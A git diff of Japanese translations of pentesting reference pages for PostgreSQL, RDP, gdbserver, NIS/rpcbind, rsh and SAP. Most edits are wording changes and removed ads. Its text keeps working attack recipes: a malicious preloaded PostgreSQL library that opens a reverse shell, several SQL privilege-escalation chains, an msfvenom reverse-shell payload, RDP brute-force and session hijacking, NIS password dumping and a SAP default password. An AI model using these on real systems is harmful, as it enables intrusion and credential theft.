の値に悪意のあるライブラリ名を含めます。例: `session_preload_libraries = 'payload.so'` +4. `SELECT version()` クエリを介して主要な PostgreSQL バージョンを確認 +5. 正しい PostgreSQL 開発パッケージで悪意のあるライブラリコードをコンパイル サンプルコード: ```c #include @@ -521,24 +508,24 @@ execve("/bin/bash", argv, NULL); } ``` -コードをコンパイルする: +コードをコンパイル: ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` -6. ステップ 2-3 で作成した悪意のある `postgresql.conf` をアップロードし、元のものを上書きする -7. ステップ 5 の `payload.so` を `/tmp` ディレクトリにアップロードする -8. サーバーを再起動するか、`SELECT pg_reload_conf()` クエリを呼び出してサーバー設定をリロードする +6. ステップ 2-3 で作成した悪意のある `postgresql.conf` をアップロードし、元のものを上書き +7. ステップ 5 の `payload.so` を `/tmp` ディレクトリにアップロード +8. サーバーを再起動するか、`SELECT pg_reload_conf()` クエリを呼び出してサーバー設定をリロード 9. 次の DB 接続時に、リバースシェル接続を受け取ります。 ## **Postgres Privesc** -### CREATEROLE Privesc +### CREATEROLE プライベートエスカレーション #### **Grant** -[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html) によると: _**`CREATEROLE`** 権限を持つロールは、**スーパーユーザーでない**任意のロールへのメンバーシップを **付与または取り消すことができます**。_ +[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html) によると: _**`CREATEROLE`** 権限を持つロールは、**スーパーユーザー** でない **任意のロール** のメンバーシップを **付与または取り消す** ことができます。_ したがって、**`CREATEROLE`** 権限を持っている場合、他の **ロール**(スーパーユーザーでない)へのアクセスを付与することができ、ファイルの読み書きやコマンドの実行のオプションを得ることができます: ```sql @@ -576,13 +563,13 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER ### **ALTER TABLE privesc** -[**この書き込み**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで**privesc**が可能だった理由が説明されています。 +[**この書き込み**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ALTER TABLE権限をユーザーに付与することでPostgres GCPで**privesc**が可能だった方法が説明されています。 -**別のユーザーをテーブルの所有者にする**ことを試みると、**エラー**が発生してそれを防ぐはずですが、どうやらGCPは**スーパーユーザーでないpostgresユーザー**にその**オプションを与えた**ようです: +**別のユーザーをテーブルの所有者にする**ことを試みると、**エラー**が発生してそれを防ぐはずですが、どうやらGCPはその**オプションを非スーパーユーザーのpostgresユーザーに与えた**ようです:
-この考えを、**INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)コマンドが**インデックス関数**を持つ**テーブル**で実行されるとき、**関数**が**テーブル**の**所有者の権限**でコマンドの一部として**呼び出される**という事実と結びつけると、関数を使ってインデックスを作成し、そのテーブルに対して**スーパーユーザー**に所有者権限を与え、その後悪意のある関数を使ってテーブルに対してANALYZEを実行することが可能です。これは、所有者の権限を使用してコマンドを実行できるからです。 +この考えを、**INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)コマンドが**インデックス関数を持つテーブル**で実行されるとき、**関数**が**テーブル**の**所有者の権限**でコマンドの一部として**呼び出される**という事実と結びつけると、関数を使ってインデックスを作成し、そのテーブルに対して**スーパーユーザー**に所有者権限を与え、その後悪意のある関数を使ってテーブルに対してANALYZEを実行することが可能になります。これは、所有者の権限を使用してコマンドを実行できるからです。 ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -592,9 +579,9 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); 1. 新しいテーブルを作成します。 2. インデックス関数にデータを提供するために、テーブルにいくつかの無関係なコンテンツを挿入します。 -3. コード実行ペイロードを含む悪意のあるインデックス関数を開発し、無許可のコマンドを実行できるようにします。 -4. テーブルの所有者を「cloudsqladmin」にALTERします。これは、Cloud SQLがデータベースを管理および維持するために専用に使用するGCPのスーパーユーザーロールです。 -5. テーブルにANALYZE操作を実行します。このアクションにより、PostgreSQLエンジンはテーブルの所有者「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス関数が「cloudsqladmin」の権限で呼び出され、以前は無許可だったシェルコマンドの実行が可能になります。 +3. コード実行ペイロードを含む悪意のあるインデックス関数を開発し、不正なコマンドを実行できるようにします。 +4. テーブルの所有者を「cloudsqladmin」にALTERします。これは、Cloud SQLがデータベースを管理および維持するために専用のGCPのスーパーユーザーロールです。 +5. テーブルにANALYZE操作を実行します。このアクションにより、PostgreSQLエンジンはテーブルの所有者「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス関数が「cloudsqladmin」の権限で呼び出され、以前は不正だったシェルコマンドの実行が可能になります。 PostgreSQLでは、このフローは次のようになります: ```sql @@ -617,7 +604,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ANALYZE public.temp_table; ``` -その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます: +その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` @@ -636,7 +623,7 @@ dbname=somedb', RETURNS (result TEXT); ``` > [!WARNING] -> 注意してください、前のクエリが機能するためには**`dblink`関数が存在する必要があります**。存在しない場合は、次のように作成を試みることができます。 +> 前のクエリが機能するためには、**関数 `dblink` が存在する必要があります**。存在しない場合は、次のコマンドで作成を試みることができます。 > > ```sql > CREATE EXTENSION dblink; @@ -656,7 +643,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **SECURITY DEFINERを持つカスタム定義関数** -[**この書き込みで**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)、ペンテスターはIBMが提供するPostgresインスタンス内で権限昇格を行うことができました。なぜなら、彼らは**SECURITY DEFINERフラグを持つこの関数を見つけたからです**: +[**このレポートで**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)、ペンテスターはIBMが提供するPostgresインスタンス内で権限昇格を行うことができました。なぜなら、彼らは**SECURITY DEFINERフラグを持つこの関数を見つけたからです**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -677,7 +664,7 @@ PERFORM dblink_disconnect();
 …
 
-[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**SECURITY DEFINERを持つ関数は**、**それを所有するユーザーの権限で実行されます**。したがって、関数が**SQLインジェクションに対して脆弱である**か、**攻撃者によって制御されるパラメータで特権的なアクションを行っている**場合、それを悪用して**Postgres内で権限を昇格させる**ことができます。 +[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**SECURITY DEFINERを持つ関数は**、**それを所有するユーザーの権限で実行されます**。したがって、関数が**SQLインジェクションに対して脆弱である**か、**攻撃者によって制御されるパラメータで特権的なアクションを実行している**場合、それを悪用して**Postgres内で権限を昇格させる**ことができます。 前のコードの4行目に、関数が**SECURITY DEFINER**フラグを持っていることがわかります。 ```sql @@ -689,9 +676,9 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
-### PL/pgSQLによるパスブルートフォース +### PL/pgSQLによるパスワードブルートフォース -**PL/pgSQL**は、SQLに比べてより高度な手続き制御を提供する**完全なプログラミング言語**です。これにより、プログラムロジックを強化するために**ループ**やその他の**制御構造**を使用できます。さらに、**SQL文**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対するより包括的で多用途なアプローチが可能になります。\ +**PL/pgSQL**は、SQLに比べてより高度な手続き制御を提供する**完全なプログラミング言語**です。これにより、プログラムロジックを強化するために**ループ**やその他の**制御構造**を使用できます。さらに、**SQL文**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対するより包括的で多様なアプローチが可能になります。\ **この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。** {{#ref}} @@ -716,7 +703,7 @@ PostgreSQLサーバーファイルを**読み書き**できる場合、内部の 5. [PostgreSQLファイルノードエディタ](https://github.com/adeadfed/postgresql-filenode-editor)を使用して[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table)し、すべての`rol*`ブールフラグを1に設定して完全な権限を付与します。 6. `lo_*`関数を介して編集したファイルノードを再アップロードし、ディスク上の元のファイルを上書きします 7. _(オプション)_ 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします -8. 現在、フルスーパーマネージャーの権限を持っているはずです。 +8. 現在、フルスーパーユーザーの権限を持っているはずです。 ## **POST** ``` @@ -728,7 +715,7 @@ msf> use exploit/windows/postgres/postgres_payload ``` ### logging -_inside the **postgresql.conf**_ ファイル内で、次のように変更することで postgresql ログを有効にできます: +_**postgresql.conf**_ ファイル内で、次のように変更することで postgresql ログを有効にできます: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' @@ -741,9 +728,9 @@ sudo service postgresql restart ### pgadmin -[pgadmin](https://www.pgadmin.org) はPostgreSQLの管理および開発プラットフォームです。\ -_**pgadmin4.db**_ファイル内に**パスワード**が見つかります。\ -スクリプト内の_**decrypt**_関数を使用してそれらを復号化できます: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) +[pgadmin](https://www.pgadmin.org) は PostgreSQL の管理および開発プラットフォームです。\ +_**pgadmin4.db**_ ファイル内に **パスワード** が見つかります。\ +スクリプト内の _**decrypt**_ 関数を使用してそれらを復号化できます: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" @@ -752,16 +739,8 @@ string pgadmin4.db ``` ### pg_hba -PostgreSQLにおけるクライアント認証は、**pg_hba.conf**という設定ファイルを通じて管理されます。このファイルには、一連のレコードが含まれており、それぞれが接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および接続を一致させるために使用する認証方法を指定しています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合のフォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。 +PostgreSQLにおけるクライアント認証は、**pg_hba.conf**という設定ファイルを通じて管理されます。このファイルには、一連のレコードが含まれており、それぞれが接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および接続を一致させるために使用する認証方法を指定しています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証に失敗した場合のフォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。 -pg_hba.confで利用可能なパスワードベースの認証方法は、**md5**、**crypt**、および**password**です。これらの方法は、パスワードがどのように送信されるかによって異なります:MD5ハッシュ、crypt暗号化、または平文です。cryptメソッドは、pg_authidで暗号化されたパスワードと一緒に使用できないことに注意することが重要です。 +pg_hba.confで利用可能なパスワードベースの認証方法は、**md5**、**crypt**、および**password**です。これらの方法は、パスワードの送信方法が異なります:MD5ハッシュ、crypt暗号化、または平文です。cryptメソッドは、pg_authidで暗号化されたパスワードと一緒に使用できないことに注意することが重要です。 {{#include ../banners/hacktricks-training.md}} - -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)を使用して、世界で**最も進んだ**コミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 2b8b17206..5525a0feb 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -2,13 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## 基本情報 @@ -40,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### 知っている資格情報/ハッシュで接続する +### 知られている資格情報/ハッシュで接続する ```bash rdesktop -u rdesktop -d -u -p @@ -53,19 +46,11 @@ impacketのrdp_check.pyを使用すると、RDPサービスに対していくつ ```bash rdp_check /:@ ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **攻撃** ### セッションの盗難 -**SYSTEM権限**を持つことで、**所有者のパスワードを知る必要なく、任意のユーザーによって開かれたRDPセッションにアクセスできます。** +**SYSTEM権限**を持っていれば、**所有者のパスワードを知らなくても、任意のユーザーによって開かれたRDPセッションにアクセスできます。 **開かれたセッションを取得:** ``` @@ -75,7 +60,7 @@ query user ```bash tscon /dest: ``` -今、選択したRDPセッション内にいることになり、Windowsのツールと機能のみを使用してユーザーを偽装することになります。 +選択したRDPセッションに入ると、Windowsのツールと機能のみを使用してユーザーを偽装することができます。 **重要**: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。 @@ -92,11 +77,11 @@ ts::remote /id:2 #Connect to the session この技術を**stickykeys**または**utilman**と組み合わせることで、いつでも管理者CMDおよび任意のRDPセッションにアクセスできます。 -これらの技術のいずれかでバックドアが仕掛けられたRDPを検索するには、[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)を使用できます。 +すでにこれらの技術でバックドアが仕掛けられたRDPを検索するには、[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)を使用できます。 ### RDPプロセスインジェクション -異なるドメインの誰かが**より良い権限でRDP経由で**あなたが管理者であるPCにログインした場合、あなたは彼の**RDPセッションプロセス**にビークンを**インジェクト**し、彼のように行動できます: +異なるドメインの誰かが**より良い権限でRDP経由で**あなたが管理者であるPCにログインした場合、彼の**RDPセッションプロセス**にあなたのビーコンを**インジェクト**して、彼のように行動することができます: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -110,16 +95,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)は、リモート攻撃者が**被害者のデスクトップを同意なしに表示し**、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用して行われます。 +**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)は、リモート攻撃者が**被害者の同意なしにデスクトップを表示し**、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用して行われます。 - [**EvilRDP**](https://github.com/skelsec/evilrdp) - コマンドラインから自動的にマウスとキーボードを制御 - コマンドラインから自動的にクリップボードを制御 - RDPを介してターゲットへのネットワーク通信をチャネルするクライアントからSOCKSプロキシを生成 - ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行 -- ターゲットでファイル転送が無効になっている場合でも、ターゲットへのファイルのアップロードおよびダウンロードが可能 - -## HackTricks自動コマンド +- ターゲットでファイル転送が無効になっている場合でも、ターゲットとの間でファイルをアップロードおよびダウンロード ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. @@ -138,12 +121,4 @@ Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md index 51aaec968..c53cd3b91 100644 --- a/src/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md @@ -2,25 +2,18 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **基本情報** -**gdbserver** は、プログラムをリモートでデバッグするためのツールです。デバッグが必要なプログラムと同じシステム上で実行され、これを「ターゲット」と呼びます。このセットアップにより、**GNU Debugger** が異なるマシン、「ホスト」から接続でき、ソースコードとデバッグされたプログラムのバイナリコピーが保存されています。**gdbserver** とデバッガーの接続は、TCPまたはシリアルラインを介して行うことができ、柔軟なデバッグセットアップを可能にします。 +**gdbserver** は、プログラムをリモートでデバッグするためのツールです。デバッグが必要なプログラムと同じシステム上で実行され、これを「ターゲット」と呼びます。このセットアップにより、**GNU Debugger** が異なるマシン、つまりソースコードとデバッグされたプログラムのバイナリコピーが保存されている「ホスト」から接続できます。**gdbserver** とデバッガーの間の接続は、TCP またはシリアルラインを介して行うことができ、柔軟なデバッグセットアップを可能にします。 -**gdbserverを任意のポートでリッスンさせる**ことができ、現時点で**nmapはサービスを認識できません**。 +**gdbserver を任意のポートでリッスンさせることができ**、現在 **nmap はサービスを認識することができません**。 ## エクスプロイト ### アップロードと実行 -**msfvenomを使用してelfバックドアを簡単に作成し、アップロードして実行できます。** +**msfvenom を使用して elf バックドアを簡単に作成し**、アップロードして実行できます: ```bash # Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf @@ -181,12 +174,4 @@ gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') RemoteCmd() ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-rlogin.md b/src/network-services-pentesting/pentesting-rlogin.md index 42f4607c7..ff4629b38 100644 --- a/src/network-services-pentesting/pentesting-rlogin.md +++ b/src/network-services-pentesting/pentesting-rlogin.md @@ -2,13 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## 基本情報 -過去には、**rlogin**はリモート管理タスクに広く利用されていました。しかし、そのセキュリティに関する懸念から、主に**slogin**や**ssh**に取って代わられました。これらの新しい方法は、リモート接続のための強化されたセキュリティを提供します。 +過去には、**rlogin**はリモート管理タスクに広く利用されていました。しかし、そのセキュリティに関する懸念から、主に**slogin**と**ssh**に取って代わられました。これらの新しい方法は、リモート接続のための強化されたセキュリティを提供します。 **デフォルトポート:** 513 ``` @@ -30,8 +27,4 @@ rlogin -l ``` find / -name .rhosts ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index d66b59846..46e16056a 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -2,15 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## 基本情報 -**Portmapper** は、ネットワークサービスポートを **RPC** (リモートプロシージャコール) プログラム番号にマッピングするために利用されるサービスです。これは **Unixベースのシステム** において重要なコンポーネントとして機能し、これらのシステム間での情報交換を促進します。**Portmapper** に関連付けられた **ポート** は、攻撃者によって頻繁にスキャンされ、貴重な情報を明らかにする可能性があります。この情報には、実行中の **Unixオペレーティングシステム (OS)** の種類や、システム上で利用可能なサービスの詳細が含まれます。さらに、**Portmapper** は、ネットワークサービスを効果的に管理するために **NFS (ネットワークファイルシステム)**、**NIS (ネットワーク情報サービス)**、および他の **RPCベースのサービス** と共に一般的に使用されます。 +**Portmapper** は、ネットワークサービスポートを **RPC** (Remote Procedure Call) プログラム番号にマッピングするために利用されるサービスです。これは **Unixベースのシステム** において重要なコンポーネントとして機能し、これらのシステム間での情報交換を促進します。**Portmapper** に関連する **ポート** は、攻撃者によって頻繁にスキャンされ、貴重な情報を明らかにする可能性があります。この情報には、実行中の **Unixオペレーティングシステム (OS)** の種類や、システム上で利用可能なサービスに関する詳細が含まれます。さらに、**Portmapper** は、ネットワークサービスを効果的に管理するために **NFS (Network File System)**、**NIS (Network Information Service)**、およびその他の **RPCベースのサービス** と共に一般的に使用されます。 -**デフォルトポート:** 111/TCP/UDP, 32771 in Oracle Solaris +**デフォルトポート:** 111/TCP/UDP, Oracle Solarisでは32771 ``` PORT STATE SERVICE 111/tcp open rpcbind @@ -42,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1 ![](<../images/image (859).png>) -探索の旅は、必要なパッケージのインストール(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用して、ドメイン名とサーバーIPでpingを送り、NISサーバーの存在を確認します。これらの要素はセキュリティのために匿名化されることを確認します。 +探索の旅は、必要なパッケージのインストール(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用して、ドメイン名とサーバーIPでpingを送り、NISサーバーの存在を確認します。これらの要素はセキュリティのために匿名化される必要があります。 最後の重要なステップは、`ypcat`コマンドを使用して、特に暗号化されたユーザーパスワードなどの機密データを抽出することです。これらのハッシュは、**John the Ripper**のようなツールを使用して解読されると、システムアクセスや権限に関する洞察を明らかにします。 ```bash @@ -57,7 +53,7 @@ ypcat –d –h passwd.byname | **マスターファイル** | **マップ** | **ノート** | | ---------------- | --------------------------- | --------------------------------- | -| /etc/hosts | hosts.byname, hosts.byaddr | ホスト名とIPの詳細を含む | +| /etc/hosts | hosts.byname, hosts.byaddr | ホスト名とIPの詳細を含む | | /etc/passwd | passwd.byname, passwd.byuid | NISユーザーパスワードファイル | | /etc/group | group.byname, group.bygid | NISグループファイル | | /usr/lib/aliases | mail.aliases | メールエイリアスの詳細 | @@ -68,7 +64,7 @@ ypcat –d –h passwd.byname ![](<../images/image (1041).png>) -ボックスのユーザーを列挙できます。詳細を学ぶには[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。 +ボックスのユーザーを列挙することができます。方法を学ぶには[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。 ## フィルタリングされたポートマッパーポートのバイパス @@ -82,10 +78,6 @@ ypcat –d –h passwd.byname - [**Irked HTBマシン**](https://app.hackthebox.com/machines/Irked)でこれらの技術を練習してください。 -
- -{% embed url="https://websec.nl/" %} - ## HackTricks自動コマンド ``` Protocol_Name: Portmapper #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-rsh.md b/src/network-services-pentesting/pentesting-rsh.md index 6af9c8539..ed7bd4d5b 100644 --- a/src/network-services-pentesting/pentesting-rsh.md +++ b/src/network-services-pentesting/pentesting-rsh.md @@ -2,17 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} - ## 基本情報 -認証には、**.rhosts**ファイルと**/etc/hosts.equiv**が**Rsh**によって利用されました。認証はIPアドレスとドメインネームシステム(DNS)に依存していました。特にローカルネットワーク上でのIPアドレスの偽装の容易さは、重大な脆弱性でした。 +認証には、**.rhosts** ファイルと **/etc/hosts.equiv** が **Rsh** によって利用されました。認証はIPアドレスとドメインネームシステム(DNS)に依存していました。特にローカルネットワーク上でのIPアドレスの偽装の容易さは、重大な脆弱性でした。 -さらに、**.rhosts**ファイルはユーザーのホームディレクトリ内に配置されることが一般的で、これらはしばしばネットワークファイルシステム(NFS)ボリューム上にありました。 +さらに、**.rhosts** ファイルはユーザーのホームディレクトリ内に配置されることが一般的で、これらはしばしばネットワークファイルシステム(NFS)ボリューム上にありました。 **デフォルトポート**: 514 diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 61a3864df..2346a95da 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -1,12 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - # SAPについての紹介 -SAPはデータ処理におけるシステムアプリケーションおよび製品の略です。定義上、SAPはERP(エンタープライズリソースプランニング)ソフトウェアの名前でもあり、会社の名前でもあります。 +SAPはデータ処理におけるシステムアプリケーションおよび製品を意味します。定義上、SAPはERP(エンタープライズリソースプランニング)ソフトウェアの名前でもあり、会社の名前でもあります。 SAPシステムは、ビジネスマネジメントのほぼすべての側面をカバーする完全に統合されたモジュールの数で構成されています。 各SAPインスタンス(またはSID)は、データベース、アプリケーション、プレゼンテーションの3層で構成されており、各ランドスケープは通常、dev、test、QA、productionの4つのインスタンスで構成されています。 @@ -14,9 +10,9 @@ SAPシステムは、ビジネスマネジメントのほぼすべての側面 各SAPインスタンスはクライアントに分かれています。それぞれにはユーザーSAP\*があり、アプリケーションの「root」に相当します。 初期作成時、このユーザーSAP\*にはデフォルトのパスワード「060719992」が設定されます(以下に他のデフォルトパスワードがあります)。 -テストや開発環境でこれらの**パスワードが変更されないことがどれほど多いか**を知ったら驚くでしょう! +テストや開発環境でこれらの**パスワードが変更されないことがどれほど多いか知ったら驚くでしょう**! -ユーザー名admを使用して、任意のサーバーのシェルにアクセスを試みてください。 +ユーザー名<SID>admを使用して、任意のサーバーのシェルにアクセスを試みてください。 ブルートフォース攻撃が役立つかもしれませんが、アカウントロックアウトメカニズムが存在する可能性があります。 # 発見 @@ -24,7 +20,7 @@ SAPシステムは、ビジネスマネジメントのほぼすべての側面 > 次のセクションは主に[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)のユーザーshipcod3からのものです! - テストのためにアプリケーションスコープまたはプログラムブリーフを確認してください。SAP GUIに接続するためのホスト名やシステムインスタンスに注意してください。 -- OSINT(オープンソースインテリジェンス)、Shodan、Google Dorksを使用して、アプリケーションがインターネットに面しているか公開されている場合は、ファイル、サブドメイン、重要な情報を確認してください。 +- OSINT(オープンソースインテリジェンス)、Shodan、Google Dorksを使用して、アプリケーションがインターネットに面している場合や公開されている場合は、ファイル、サブドメイン、重要な情報を確認してください。 ```text inurl:50000/irj/portal inurl:IciEventService/IciEventConf @@ -139,9 +135,9 @@ BWDEVELOPER:Down1oad:001 - 一般的なウェブ脆弱性(OWASP Top 10を参照)を探します。いくつかの場所にはXSS、RCE、XXEなどの脆弱性があります。 - Jason Haddixの[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)を参照してウェブ脆弱性をテストします。 -- 動詞改ざんによる認証バイパス? かもしれません :) -- `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「選択」ボタンを押し、開いたウィンドウで「検索」を押します。SAPユーザーのリストが表示されるはずです(脆弱性参照:[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))。 -- 資格情報はHTTP経由で送信されていますか? 